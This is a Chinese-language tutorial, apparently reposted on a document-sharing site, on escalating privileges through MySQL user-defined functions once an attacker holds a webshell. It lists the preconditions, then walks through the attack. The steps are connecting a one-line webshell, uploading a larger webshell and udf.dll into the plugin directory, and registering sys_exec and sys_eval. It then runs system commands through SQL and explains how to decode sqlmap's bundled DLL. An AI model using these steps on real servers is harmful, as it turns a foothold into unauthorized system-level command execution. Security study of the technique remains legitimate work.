MySQL提权之udf提权(获得webshell的情况)

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

MySQL提权之udf提权(获得webshell的情况)
什么是udf提权?
MySQL提供了⼀个让使⽤者⾃⾏添加新的函数的功能,这种⽤户⾃⾏扩展函数的功能就叫udf。

它的提权原理也⾮常简单!即是利⽤了root ⾼权限,创建带有调⽤cmd的函数的udf.dll动态链接库!这样⼀来我们就可以利⽤ system权限进⾏提权操作了!
当我们拿到webshell后,由于中间件,例如,apache使⽤了较低的权限,可能仅仅是个⽹络服务的权限,然后我们就需要进⾏提权,⽽有时候⽬标机器补丁较全,各种系统提权姿势都失效的情况下,可以将⽬光转义到数据库服务上,在Windows下,在较低版本的mysql(<5.6)安装时默认是系统权限。

还有就是很多⼈图⽅便,例如使⽤了各种集成环境,未做安全设置,直接⽤⾼权限账户进⾏站点配置,就可以考虑⽤UDF进⾏提权。

dll⽂件的好处?
1.扩展了应⽤程序的特性;
2.可以⽤许多种编程语⾔来编写;
3.简化了软件项⽬的管理;
4.有助于节省内存;
5.有助于资源共享;
什么是udf库?
UDF表⽰的是MySQL中的⽤户⾃定义函数。

这就像在DLL中编写⾃⼰的函数并在MySQL中调⽤它们⼀样。

我们将使⽤“lib_mysqludf_sys_64.dll”DLL 库
不同版本的区别:
MySql < 4.1:
允许⽤户将任何的DLL⽂件⾥⾯的函数注册到MySql⾥。

MySql 4.1-5.0:
对⽤来注册的DLL⽂件的位置进⾏了限制,通常我们选择 UDF导出到系统⽬录
C:/windows/system32/来跳过限制。

MySql >=5.1:
这些DLL只能被放在MySql的plugin⽬录下。

0x01 提权的前提
1. 必须是root权限(主要是得创建和抛弃⾃定义函数)
2. secure_file_priv=(未写路径)
3. 将udf.dll⽂件上传到MySQL的plugin⽬录下(这⾥以MySQL>=5.1为例)
0x02 开始提权
这⾥以本地为例
1.我们这⾥上传了⼀句话,然后⽤菜⼑连接上
先判断数据库版本
select version();
符合MySql>=5.1的情况。

2. 查看plugin⽬录名称:
show variables like 'plugin%';
3. 查询⽬录的绝对路径:
select@@plugin_dir;
4. 上传phpda.php,然后访问这个马
5. 上传udf.dll到 E:\phpStudy\PHPTutorial\MySQL\lib\plugin\下
注意:这⾥没有plugin这个⽂件夹,我们必须⼿动创建(直接在⼤马上新建就ok)
6. 我们主要利⽤udf.dll中的sys_exec(),sys_eval()等函数来进⾏命令执⾏
该函数将在“系统”函数内传递参数’args-> args [0]‘。

你可以使⽤它在⽬标机器上执⾏系统命令。

安装:
create function sys_exec returns string soname "udf.dll";
验证:
select * from mysql.func where name = 'sys_exec';
然后进⾏命令执⾏
select sys_exec("whoami");
这⾥⽤sys_exec()函数好像不可以,我们换个函数
sys_eval
该函数将执⾏系统命令并在屏幕上通过标准输出显⽰。

安装:
create function sys_eval returns string soname 'udf.dll';
验证:
select * from mysql.func where name = 'sys_eval';
然后进⾏命令执⾏
select sys_eval("whoami");
成功执⾏
删除:
drop function sys_eval;
ps: sqlmap下就有udf.dll⽂件,提取出来就⾏了
sqlmap⾥的udf.dll是经过编码的,需要先解码,解码的⼯具就在sqlmap/extra/cloak/cloak.py
解码完了,在sqlmap\udf\mysql\windows,32和64⽂件夹下会⽣成dll⽂件
0x03 结语
最后,总的来说,UDF提权就是利⽤MySql允许扩展⾃定义函数的特性,将webshell的权限变成和mysql运⾏权限⼀致,所以就有个前提,mysql得
是以⾼权限进⾏运⾏的,⾄少得⽐中间件权限⾼,才有⽤这个⽅法进⾏提权的必要。

相关文档
最新文档